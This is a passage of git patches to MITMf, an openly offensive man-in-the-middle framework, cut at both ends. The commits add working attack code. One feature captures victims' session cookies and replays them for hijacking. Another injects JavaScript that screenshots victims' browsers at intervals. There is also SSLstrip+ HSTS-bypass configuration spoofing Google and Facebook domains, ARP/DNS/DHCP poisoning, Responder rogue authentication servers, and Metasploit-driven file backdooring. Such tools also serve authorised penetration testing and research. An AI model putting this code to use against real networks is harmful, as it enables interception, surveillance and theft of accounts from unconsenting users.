'Uses HTML5 Canvas to render an accurate screenshot of a clients browser' + ver = '0.1' + has_opts = False + + def initialize(self, options): + Inject.initialize(self, options) + self.html_payload = self.get_payload() + + def clientRequest(self, request): + if 'saveshot' in request.uri: + request.printPostData = False + img_file = './logs/{}-{}-{}.png'.format(request.client.getClientIP(), request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")) + with open(img_file, 'wb') as img: + img.write(base64.b64decode(request.postData[30:] + '==')) + img.close() + + mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(request.client.getClientIP(), img_file)) + + def get_payload(self): + canvas = open("./core/javascript/screenshot.js", "rb").read() + return '' \ No newline at end of file diff --git a/plugins/Spoof.py b/plugins/Spoof.py index a2adfae..086128c 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -32,7 +32,6 @@ class Spoof(Plugin): name = "Spoof" optname = "spoof" desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS" - tree_output = list() version = "0.6" has_opts = True @@ -63,7 +62,7 @@ class Spoof(Plugin): arpwatch = ARPWatch(options.gateway, self.myip, options.interface) arpwatch.debug = debug - self.tree_output.append("ARPWatch online") + self.tree_info.append("ARPWatch online") self.protocolInstances.append(arpwatch) arp = ARPpoisoner(options.gateway, options.interface, self.mymac, options.targets) diff --git a/plugins/plugin.py b/plugins/plugin.py index f6a7cde..0d5a324 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -8,10 +8,11 @@ import logging mitmf_logger = logging.getLogger('mitmf') class Plugin(ConfigWatcher, object): - name = "Generic plugin" - optname = "generic" - desc = "" - has_opts = False + name = "Generic plugin" + optname = "generic" + tree_info = list() + desc = "" + has_opts = False def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' diff --git a/requirements.txt b/requirements.txt index 75fc1ad..1df0c6a 100644 --- a/requirements.txt +++ b/requirements.txt @@ -4,10 +4,7 @@ scapy msgpack-python dnspython dnslib -user-agents configobj -pyyaml -ua-parser Pillow pefile ipy @@ -16,4 +13,4 @@ service_identity watchdog impacket capstone -pypcap +pypcap \ No newline at end of file From b9371f7cdcb179aa7d38d6395688906a186d6360 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 16 May 2015 21:22:11 +0200 Subject: [PATCH 032/181] Screenshotter plugin now live! Added an interval option to specify the interval at which to take the sceenshots Ferret-NG plugin is pretty much set also, was a bit of a dummy and didn't take into account that we would have sessions from multiple clients (duh!) , so I added a section in the config file to specify the client to hijack the sessions from , also added an option to load the cookies from a log file! --- config/mitmf.conf | 35 +++++++++++++--------- core/dnschef/DNSchef.py | 3 +- core/ferretng/ClientRequest.py | 11 +++++-- core/ferretng/URLMonitor.py | 1 + core/javascript/screenshot.js | 2 +- core/protocols/arp/ARPWatch.py | 5 ++-- core/protocols/arp/ARPpoisoner.py | 3 +- core/protocols/smb/SMBserver.py | 3 +- core/utils.py | 12 ++++++-- mitmf.py | 18 ++++------- plugins/BeefAutorun.py | 4 +-- plugins/BrowserSniper.py | 5 ++-- plugins/FerretNG.py | 50 ++++++++++++++++++++++++++----- plugins/FilePwn.py | 3 +- plugins/Responder.py | 6 ++-- plugins/Screenshotter.py | 26 +++++++++++----- plugins/Spoof.py | 13 ++++---- 17 files changed, 130 insertions(+), 70 deletions(-) diff --git a/config/mitmf.conf b/config/mitmf.conf index ce7e7ec..c6a4269 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -103,6 +103,27 @@ [[Regex2]] "I'm Feeling Lucky" = "I'm Feeling Something In My Pants" +[Ferret-NG] + # + # Here you can specify the client to hijack sessions from + # + + Client = '192.168.20.126' + +[SSLstrip+] + + # + #Here you can configure your domains to bypass HSTS on, the format is real.domain.com = fake.domain.com + # + + #for google and gmail + accounts.google.com = account.google.com + mail.google.com = gmail.google.com + accounts.google.se = cuentas.google.se + + #for facebook + www.facebook.com = social.facebook.com + [Responder] #Set these values to On or Off, so you can control which rogue authentication server is turned on. @@ -317,20 +338,6 @@ Plugin = Flash PluginVersions = 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273,11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.400, 13.0.0.111, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.83, 14.0.0.110, 14.0.0.125, 14.0.0.137, 14.0.0.145, 14.0.0.176, 14.0.0.178, 14.0.0.179, 15.0.0.144 -[SSLstrip+] - - # - #Here you can configure your domains to bypass HSTS on, the format is real.domain.com = fake.domain.com - # - - #for google and gmail - accounts.google.com = account.google.com - mail.google.com = gmail.google.com - accounts.google.se = cuentas.google.se - - #for facebook - www.facebook.com = social.facebook.com - [FilePwn] # BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something' diff --git a/core/dnschef/DNSchef.py b/core/dnschef/DNSchef.py index e1473a2..a65d8cd 100755 --- a/core/dnschef/DNSchef.py +++ b/core/dnschef/DNSchef.py @@ -41,6 +41,7 @@ import logging from configobj import ConfigObj from core.configwatcher import ConfigWatcher +from core.utils import shutdown from dnslib import * from IPy import IP @@ -481,7 +482,7 @@ class DNSChef(ConfigWatcher): self.startUDP() except socket.error as e: if "Address already in use" in e: - sys.exit("\n[-] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port'])) + shutdown("\n[-] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port'])) # Initialize and start the DNS Server def startUDP(self): diff --git a/core/ferretng/ClientRequest.py b/core/ferretng/ClientRequest.py index ac6a80b..c9eeb36 100644 --- a/core/ferretng/ClientRequest.py +++ b/core/ferretng/ClientRequest.py @@ -71,9 +71,14 @@ class ClientRequest(Request): del headers['cache-control'] if 'host' in headers: - if headers['host'] in self.urlMonitor.cookies: - mitmf_logger.info("[Ferret-NG] Hijacking session for host: {}".format(headers['host'])) - headers['cookie'] = self.urlMonitor.cookies[headers['host']] + try: + for entry in self.urlMonitor.cookies[self.urlMonitor.hijack_client]: + if headers['host'] == entry['host']: + mitmf_logger.info("[Ferret-NG] Hijacking session for host: {}".format(headers['host'])) + headers['cookie'] = entry['cookie'] + except KeyError: + mitmf_logger.error("[Ferret-NG] No captured sessions (yet) from {}".format(self.urlMonitor.hijack_client)) + pass return headers diff --git a/core/ferretng/URLMonitor.py b/core/ferretng/URLMonitor.py index d1381aa..85386f9 100644 --- a/core/ferretng/URLMonitor.py +++ b/core/ferretng/URLMonitor.py @@ -32,6 +32,7 @@ class URLMonitor: # Start the arms race, and end up here... javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] cookies = dict() + hijack_client = '' _instance = None def __init__(self): diff --git a/core/javascript/screenshot.js b/core/javascript/screenshot.js index fea115f..fe50ad7 100644 --- a/core/javascript/screenshot.js +++ b/core/javascript/screenshot.js @@ -2875,4 +2875,4 @@ function grab() { }); } -grab() \ No newline at end of file +setInterval(function(){grab()}, SECONDS_GO_HERE); \ No newline at end of file diff --git a/core/protocols/arp/ARPWatch.py b/core/protocols/arp/ARPWatch.py index 28f2473..0c45ef6 100644 --- a/core/protocols/arp/ARPWatch.py +++ b/core/protocols/arp/ARPWatch.py @@ -4,6 +4,7 @@ import sys import threading from scapy.all import * +from core.utils import shutdown mitmf_logger = logging.getLogger('mitmf') @@ -21,9 +22,9 @@ class ARPWatch: try: self.gatewaymac = getmacbyip(self.gatewayip) if self.gatewaymac is None: - sys.exit("[ARPWatch] Error: Could not resolve gateway's MAC address") + shutdown("[ARPWatch] Error: Could not resolve gateway's MAC address") except Exception, e: - sys.exit("[ARPWatch] Exception occured while resolving gateway's MAC address: {}".format(e)) + shutdown("[ARPWatch] Exception occured while resolving gateway's MAC address: {}".format(e)) mitmf_logger.debug("[ARPWatch] gatewayip => {}".format(self.gatewayip)) mitmf_logger.debug("[ARPWatch] gatewaymac => {}".format(self.gatewaymac)) diff --git a/core/protocols/arp/ARPpoisoner.py b/core/protocols/arp/ARPpoisoner.py index 122e3fd..4b8858c 100644 --- a/core/protocols/arp/ARPpoisoner.py +++ b/core/protocols/arp/ARPpoisoner.py @@ -1,6 +1,7 @@ import logging import threading from time import sleep +from core.utils import shutdown from scapy.all import * mitmf_logger = logging.getLogger('mitmf') @@ -42,7 +43,7 @@ class ARPpoisoner(): def start(self): if self.gatewaymac is None: - sys.exit("[ARPpoisoner] Error: Could not resolve gateway's MAC address") + shutdown("[ARPpoisoner] Error: Could not resolve gateway's MAC address") mitmf_logger.debug("[ARPpoisoner] gatewayip => {}".format(self.gatewayip)) mitmf_logger.debug("[ARPpoisoner] gatewaymac => {}".format(self.gatewaymac)) diff --git a/core/protocols/smb/SMBserver.py b/core/protocols/smb/SMBserver.py index 2081804..d413926 100644 --- a/core/protocols/smb/SMBserver.py +++ b/core/protocols/smb/SMBserver.py @@ -4,6 +4,7 @@ import threading from socket import error as socketerror from impacket import version, smbserver, LOG from core.configwatcher import ConfigWatcher +from core.utils import shutdown LOG.setLevel(logging.INFO) LOG.propagate = False @@ -29,7 +30,7 @@ class SMBserver(ConfigWatcher): self.server.setSMBChallenge(self.config["MITMf"]["SMB"]["Challenge"]) except socketerror as e: if "Address already in use" in e: - sys.exit("\n[-] Unable to start SMB server on port 445: port already in use") + shutdown("\n[-] Unable to start SMB server on port 445: port already in use") def start(self): t = threading.Thread(name='SMBserver', target=self.server.start) diff --git a/core/utils.py b/core/utils.py index 38845f0..9aa8898 100644 --- a/core/utils.py +++ b/core/utils.py @@ -27,9 +27,15 @@ import sys logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy from scapy.all import get_if_addr, get_if_hwaddr +from core.sergioproxy.ProxyPlugins import ProxyPlugins mitmf_logger = logging.getLogger('mitmf') +def shutdown(message=None): + for plugin in ProxyPlugins.getInstance().plist: + plugin.finish() + sys.exit(message) + class SystemConfig: @staticmethod @@ -44,11 +50,11 @@ class SystemConfig: try: ip_address = get_if_addr(interface) if (ip_address == "0.0.0.0") or (ip_address is None): - exit("[Utils] Interface {} does not have an assigned IP address".format(interface)) + shutdown("[Utils] Interface {} does not have an assigned IP address".format(interface)) return ip_address except Exception, e: - exit("[Utils] Error retrieving IP address from {}: {}".format(interface, e)) + shutdown("[Utils] Error retrieving IP address from {}: {}".format(interface, e)) @staticmethod def getMAC(interface): @@ -56,7 +62,7 @@ class SystemConfig: mac_address = get_if_hwaddr(interface) return mac_address except Exception, e: - exit("[Utils] Error retrieving MAC address from {}: {}".format(interface, e)) + shutdown("[Utils] Error retrieving MAC address from {}: {}".format(interface, e)) class IpTables: diff --git a/mitmf.py b/mitmf.py index 104ab20..6e21431 100755 --- a/mitmf.py +++ b/mitmf.py @@ -28,7 +28,7 @@ from twisted.web import http from twisted.internet import reactor from core.sslstrip.CookieCleaner import CookieCleaner from core.sergioproxy.ProxyPlugins import ProxyPlugins -from core.utils import Banners, SystemConfig +from core.utils import Banners, SystemConfig, shutdown from plugins import * Banners().printBanner() @@ -123,8 +123,6 @@ mitmf_logger.addHandler(fileHandler) #All our options should be loaded now, initialize the plugins print "[*] MITMf v{} online... initializing plugins".format(mitmf_version) -load = [] - for p in plugins: #load only the plugins that have been called at the command line @@ -132,32 +130,30 @@ for p in plugins: print "|_ {} v{}".format(p.name, p.version) if p.tree_info: - for line in p.tree_info: + for line in xrange(0, len(p.tree_info)): print "| |_ {}".format(p.tree_info.pop()) p.initialize(args) if p.tree_info: - for line in p.tree_info: + for line in xrange(0, len(p.tree_info)): print "| |_ {}".format(p.tree_info.pop()) - load.append(p) + ProxyPlugins.getInstance().addPlugin(p) #Plugins are ready to go, let's rock & roll from core.sslstrip.StrippingProxy import StrippingProxy from core.sslstrip.URLMonitor import URLMonitor URLMonitor.getInstance().setFaviconSpoofing(args.favicon) - CookieCleaner.getInstance().setEnabled(args.killsessions) -ProxyPlugins.getInstance().setPlugins(load) strippingFactory = http.HTTPFactory(timeout=10) strippingFactory.protocol = StrippingProxy reactor.listenTCP(args.listen, strippingFactory) -for p in load: +for p in ProxyPlugins.getInstance().plist: p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it p.startConfigWatch() @@ -189,6 +185,4 @@ SMBserver().start() reactor.run() print "\n" -#run each plugins finish() on exit -for p in load: - p.finish() +shutdown() \ No newline at end of file diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py index 2cb5fa8..0f4bad9 100644 --- a/plugins/BeefAutorun.py +++ b/plugins/BeefAutorun.py @@ -24,7 +24,7 @@ import json from time import sleep from core.beefapi import BeefAPI -from core.utils import SystemConfig +from core.utils import SystemConfig, shutdown from plugins.plugin import Plugin from plugins.Inject import Inject @@ -54,7 +54,7 @@ class BeefAutorun(Inject, Plugin): self.beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']}) if not self.beef.login(beefconfig['user'], beefconfig['pass']): - sys.exit("[-] Error logging in to BeEF!") + shutdown("[-] Error logging in to BeEF!") def startThread(self, options): self.autorun() diff --git a/plugins/BrowserSniper.py b/plugins/BrowserSniper.py index 0d356a8..0eb7408 100644 --- a/plugins/BrowserSniper.py +++ b/plugins/BrowserSniper.py @@ -20,12 +20,11 @@ import string import random -import sys import logging from time import sleep from core.msfrpc import Msfrpc -from core.utils import SystemConfig +from core.utils import SystemConfig, shutdown from plugins.plugin import Plugin from plugins.BrowserProfiler import BrowserProfiler @@ -56,7 +55,7 @@ class BrowserSniper(BrowserProfiler, Plugin): version = self.msf.call('core.version')['version'] self.tree_info.append("Connected to Metasploit v{}".format(version)) except Exception: - sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server") + shutdown("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server") def startThread(self, options): self.snipe() diff --git a/plugins/FerretNG.py b/plugins/FerretNG.py index 612dcbf..42c426a 100644 --- a/plugins/FerretNG.py +++ b/plugins/FerretNG.py @@ -19,12 +19,15 @@ # import logging +import ast +import sys from datetime import datetime from plugins.plugin import Plugin from twisted.internet import reactor from twisted.web import http from twisted.internet import reactor +from core.utils import shutdown from core.ferretng.FerretProxy import FerretProxy from core.ferretng.URLMonitor import URLMonitor @@ -41,17 +44,44 @@ class FerretNG(Plugin): '''Called if plugin is enabled, passed the options namespace''' self.options = options self.ferret_port = 10010 or options.ferret_port + self.cookie_file = None + + URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] + + if options.cookie_file: + self.tree_info.append('Loading cookies from log file') + try: + with open(options.cookie_file, 'r') as cookie_file: + self.cookie_file = ast.literal_eval(cookie_file.read()) + URLMonitor.getInstance().cookies = self.cookie_file + cookie_file.close() + except Exception as e: + shutdown("[-] Error loading cookie log file: {}".format(e)) self.tree_info.append("Listening on port {}".format(self.ferret_port)) + def onConfigChange(self): + mitmf_logger.info("[Ferret-NG] Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client'])) + URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] + def clientRequest(self, request): if 'cookie' in request.headers: host = request.headers['host'] cookie = request.headers['cookie'] client = request.client.getClientIP() - if host not in URLMonitor.getInstance().cookies: - mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(client, host, cookie)) - URLMonitor.getInstance().cookies[client] = {'host': host, 'cookie': cookie} + + if client not in URLMonitor.getInstance().cookies: + URLMonitor.getInstance().cookies[client] = [] + + for entry in URLMonitor.getInstance().cookies[client]: + if host == entry['host']: + mitmf_logger.debug("{} [Ferret-NG] Updating captured session for {}".format(client, host)) + entry['host'] = host + entry['cookie'] = cookie + return + + mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(client, host, cookie)) + URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie}) def pluginReactor(self, StrippingProxy): FerretFactory = http.HTTPFactory(timeout=10) @@ -60,10 +90,16 @@ class FerretNG(Plugin): def pluginOptions(self, options): options.add_argument('--port', dest='ferret_port', metavar='PORT', type=int, default=None, help='Port to start Ferret-NG proxy on (default 10010)') - options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, default=None, help='Load cookies from log file') + options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, default=None, help='Load cookies from a log file') def finish(self): + if not URLMonitor.getInstance().cookies: + return + + if self.cookie_file == URLMonitor.getInstance().cookies: + return + mitmf_logger.info("[Ferret-NG] Writing cookies to log file") - with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))) as cookie_file: - cookie_file.write(URLMonitor.getInstance().cookies) - cookie_file.close() \ No newline at end of file + with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file: + cookie_file.write(str(URLMonitor.getInstance().cookies)) + cookie_file.close() diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py index 54ccad6..64f977a 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -69,6 +69,7 @@ from libs.bdfactory import pebin from libs.bdfactory import elfbin from libs.bdfactory import machobin from core.msfrpc import Msfrpc +from core.utils import shutdown from plugins.plugin import Plugin from tempfile import mkstemp from configobj import ConfigObj @@ -140,7 +141,7 @@ class FilePwn(Plugin): t.setDaemon(True) t.start() except Exception: - sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") + shutdown("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") def setupMSF(self, msf): diff --git a/plugins/Responder.py b/plugins/Responder.py index e49bcfe..9ea9fec 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -18,11 +18,9 @@ # USA # -import sys - from plugins.plugin import Plugin from twisted.internet import reactor -from core.utils import SystemConfig +from core.utils import SystemConfig, shutdown from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner from core.responder.mdns.MDNSPoisoner import MDNSPoisoner @@ -48,7 +46,7 @@ class Responder(Plugin): config = self.config['Responder'] smbChal = self.config['MITMf']['SMB']['Challenge'] except Exception as e: - sys.exit('[-] Error parsing config for Responder: ' + str(e)) + shutdown('[-] Error parsing config for Responder: ' + str(e)) LANFingerprinter().start(options) MDNSPoisoner().start(options, self.ourip) diff --git a/plugins/Screenshotter.py b/plugins/Screenshotter.py index 23cb23e..5e32555 100644 --- a/plugins/Screenshotter.py +++ b/plugins/Screenshotter.py @@ -20,6 +20,8 @@ import logging import base64 +import urllib +import re from datetime import datetime from plugins.Inject import Inject @@ -32,22 +34,30 @@ class ScreenShotter(Inject, Plugin): optname = 'screen' desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser' ver = '0.1' - has_opts = False + has_opts = True def initialize(self, options): + self.interval = options.interval Inject.initialize(self, options) self.html_payload = self.get_payload() def clientRequest(self, request): if 'saveshot' in request.uri: request.printPostData = False - img_file = './logs/{}-{}-{}.png'.format(request.client.getClientIP(), request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")) - with open(img_file, 'wb') as img: - img.write(base64.b64decode(request.postData[30:] + '==')) - img.close() + client = request.client.getClientIP() + img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")) + try: + with open('./logs/' + img_file, 'wb') as img: + img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1])) + img.close() - mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(request.client.getClientIP(), img_file)) + mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(client, img_file)) + except Exception as e: + mitmf_logger.error('{} [ScreenShotter] Error saving screenshot: {}'.format(client, e)) def get_payload(self): - canvas = open("./core/javascript/screenshot.js", "rb").read() - return '' \ No newline at end of file + canvas = re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read()) + return '' + + def pluginOptions(self, options): + options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)") \ No newline at end of file diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 086128c..4727fe5 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -18,8 +18,7 @@ # USA # -from sys import exit -from core.utils import SystemConfig, IpTables +from core.utils import SystemConfig, IpTables, shutdown from core.protocols.arp.ARPpoisoner import ARPpoisoner from core.protocols.arp.ARPWatch import ARPWatch from core.dnschef.DNSchef import DNSChef @@ -55,7 +54,7 @@ class Spoof(Plugin): if options.arp: if not options.gateway: - exit("[-] --arp argument requires --gateway") + shutdown("[-] --arp argument requires --gateway") if options.targets is None: #if were poisoning whole subnet, start ARP-Watch @@ -75,10 +74,10 @@ class Spoof(Plugin): elif options.icmp: if not options.gateway: - exit("[-] --icmp argument requires --gateway") + shutdown("[-] --icmp argument requires --gateway") if not options.targets: - exit("[-] --icmp argument requires --targets") + shutdown("[-] --icmp argument requires --targets") icmp = ICMPpoisoner(options.interface, options.targets, options.gateway, options.ip_address) icmp.debug = debug @@ -88,7 +87,7 @@ class Spoof(Plugin): elif options.dhcp: if options.targets: - exit("[-] --targets argument invalid when DCHP spoofing") + shutdown("[-] --targets argument invalid when DCHP spoofing") dhcp = DHCPServer(options.interface, self.dhcpcfg, options.ip_address, options.mac_address) dhcp.shellshock = options.shellshock @@ -104,7 +103,7 @@ class Spoof(Plugin): DNSChef.getInstance().loadRecords(self.dnscfg) if not options.arp and not options.icmp and not options.dhcp and not options.dns: - exit("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns") + shutdown("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns") SystemConfig.setIpForwarding(1) From 563a8d37c13c04f74b51ee590cf757a8237eeb16 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 19 May 2015 00:00:40 +0200 Subject: [PATCH 033/181] Fixed a bug in SSLstrip+ code, when redirecting to certain sites Created a wrapper class around Msfrpc to limit code re-use when interacting with msf --- core/dnschef/DNSchef.py | 14 +++--- core/msfrpc.py | 52 ++++++++++++++++++++ core/sslstrip/ClientRequest.py | 8 +-- core/sslstrip/SSLServerConnection.py | 6 ++- core/sslstrip/ServerConnection.py | 10 ++-- core/sslstrip/URLMonitor.py | 42 ++++++++-------- plugins/BrowserProfiler.py | 8 +-- plugins/BrowserSniper.py | 73 +++++++++------------------- plugins/FilePwn.py | 50 +++++++------------ plugins/Screenshotter.py | 4 +- 10 files changed, 141 insertions(+), 126 deletions(-) diff --git a/core/dnschef/DNSchef.py b/core/dnschef/DNSchef.py index a65d8cd..69f3681 100755 --- a/core/dnschef/DNSchef.py +++ b/core/dnschef/DNSchef.py @@ -71,7 +71,7 @@ class DNSHandler(): d = DNSRecord.parse(data) except Exception, e: - dnschef_logger.info("{} ERROR: invalid DNS request".format(self.client_address[0])) + dnschef_logger.info("{} [DNSChef] Error: invalid DNS request".format(self.client_address[0])) else: # Only Process DNS Queries @@ -115,7 +115,7 @@ class DNSHandler(): # Create a custom response to the query response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q) - dnschef_logger.info("{} cooking the response of type '{}' for {} to {}".format(self.client_address[0], qtype, qname, fake_record)) + dnschef_logger.info("{} [DNSChef] Cooking the response of type '{}' for {} to {}".format(self.client_address[0], qtype, qname, fake_record)) # IPv6 needs additional work before inclusion: if qtype == "AAAA": @@ -184,7 +184,7 @@ class DNSHandler(): response = response.pack() elif qtype == "*" and not None in fake_records.values(): - dnschef_logger.info("{} cooking the response of type '{}' for {} with {}".format(self.client_address[0], "ANY", qname, "all known fake records.")) + dnschef_logger.info("{} [DNSChef] Cooking the response of type '{}' for {} with {}".format(self.client_address[0], "ANY", qname, "all known fake records.")) response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap,qr=1, aa=1, ra=1), q=d.q) @@ -259,7 +259,7 @@ class DNSHandler(): # Proxy the request else: - dnschef_logger.debug("[DNSChef] {} proxying the response of type '{}' for {}".format(self.client_address[0], qtype, qname)) + dnschef_logger.debug("{} [DNSChef] Proxying the response of type '{}' for {}".format(self.client_address[0], qtype, qname)) nameserver_tuple = random.choice(nameservers).split('#') response = self.proxyrequest(data, *nameserver_tuple) @@ -339,13 +339,13 @@ class DNSHandler(): sock.close() except Exception, e: - dnschef_logger.warning("could not proxy request: {}".format(e)) + dnschef_logger.warning("[DNSChef] Could not proxy request: {}".format(e)) else: return reply def hstsbypass(self, real_domain, fake_domain, nameservers, d): - dnschef_logger.info("{} resolving '{}' to '{}' for HSTS bypass".format(self.client_address[0], fake_domain, real_domain)) + dnschef_logger.info("{} [DNSChef] Resolving '{}' to '{}' for HSTS bypass".format(self.client_address[0], fake_domain, real_domain)) response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q) @@ -482,7 +482,7 @@ class DNSChef(ConfigWatcher): self.startUDP() except socket.error as e: if "Address already in use" in e: - shutdown("\n[-] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port'])) + shutdown("\n[DNSChef] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port'])) # Initialize and start the DNS Server def startUDP(self): diff --git a/core/msfrpc.py b/core/msfrpc.py index f722875..51e51c2 100644 --- a/core/msfrpc.py +++ b/core/msfrpc.py @@ -24,6 +24,9 @@ import msgpack import logging import requests +from core.configwatcher import ConfigWatcher +from core.utils import shutdown + logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message class Msfrpc: @@ -84,6 +87,55 @@ class Msfrpc: except: raise self.MsfAuthError("MsfRPC: Authentication failed") +class Msf: + ''' + This is just a wrapper around the Msfrpc class, + prevents a lot of code re-use throught the framework + + ''' + def __init__(self): + try: + self.msf = Msfrpc({"host": ConfigWatcher.config['MITMf']['Metasploit']['rpcip']}) + self.msf.login('msf', ConfigWatcher.config['MITMf']['Metasploit']['rpcpass']) + except Exception as e: + shutdown("[Msfrpc] Error connecting to Metasploit: {}".format(e)) + + def version(self): + return self.msf.call('core.version')['version'] + + def jobs(self): + return self.msf.call('job.list') + + def jobinfo(self, pid): + return self.msf.call('job.info', [pid]) + + def killjob(self, pid): + return self.msf.call('job.kill', [pid]) + + def findpid(self, name): + jobs = self.jobs() + for pid, jobname in jobs.iteritems(): + if name in jobname: + return pid + return None + + def sessions(self): + return self.msf.call('session.list') + + def sessionsfrompeer(self, peer): + sessions = self.sessions() + for n, v in sessions.iteritems(): + if peer in v['tunnel_peer']: + return n + return None + + def sendcommand(self, cmd): + #Create a virtual console + console_id = self.msf.call('console.create')['id'] + + #write the cmd to the newly created console + self.msf.call('console.write', [console_id, cmd]) + if __name__ == '__main__': # Create a new instance of the Msfrpc client with the default options diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py index 67b6dba..8d2d30e 100644 --- a/core/sslstrip/ClientRequest.py +++ b/core/sslstrip/ClientRequest.py @@ -69,7 +69,7 @@ class ClientRequest(Request): if self.hsts: if 'referer' in headers: - real = self.urlMonitor.getHstsConfig()[0] + real = self.urlMonitor.real if len(real) > 0: dregex = re.compile("({})".format("|".join(map(re.escape, real.keys())))) headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer']) @@ -120,7 +120,7 @@ class ClientRequest(Request): client = self.getClientIP() path = self.getPathFromUri() url = 'http://' + host + path - self.uri = url # set URI to absolute + self.uri = url # set URI to absolute if self.content: self.content.seek(0,0) @@ -129,8 +129,8 @@ class ClientRequest(Request): if self.hsts: - host = self.urlMonitor.URLgetRealHost(str(host)) - real = self.urlMonitor.getHstsConfig()[0] + host = self.urlMonitor.URLgetRealHost(str(host)) + real = self.urlMonitor.real patchDict = self.urlMonitor.patchDict url = 'http://' + host + path self.uri = url # set URI to absolute diff --git a/core/sslstrip/SSLServerConnection.py b/core/sslstrip/SSLServerConnection.py index f0db397..4015276 100644 --- a/core/sslstrip/SSLServerConnection.py +++ b/core/sslstrip/SSLServerConnection.py @@ -16,7 +16,9 @@ # USA # -import logging, re, string +import logging +import re +import string from ServerConnection import ServerConnection from URLMonitor import URLMonitor @@ -58,7 +60,7 @@ class SSLServerConnection(ServerConnection): if v[:7].lower()==' domain': dominio=v.split("=")[1] mitmf_logger.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v) - real = self.urlMonitor.getHstsConfig()[1] + real = self.urlMonitor.real if dominio in real: v=" Domain=%s"%real[dominio] mitmf_logger.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v) diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 32ee79e..74868f4 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -105,7 +105,13 @@ class ServerConnection(HTTPClient): def connectionMade(self): mitmf_logger.debug("[ServerConnection] HTTP connection made.") - self.clientInfo = hap.simple_detect(self.headers['user-agent']) + try: + self.clientInfo = hap.simple_detect(self.headers['user-agent']) + except KeyError as e: + mitmf_logger.debug("[ServerConnection] Client didn't send UA with request") + self.clientInfo = None + pass + self.plugins.hook() self.sendRequest() self.sendHeaders() @@ -214,9 +220,7 @@ class 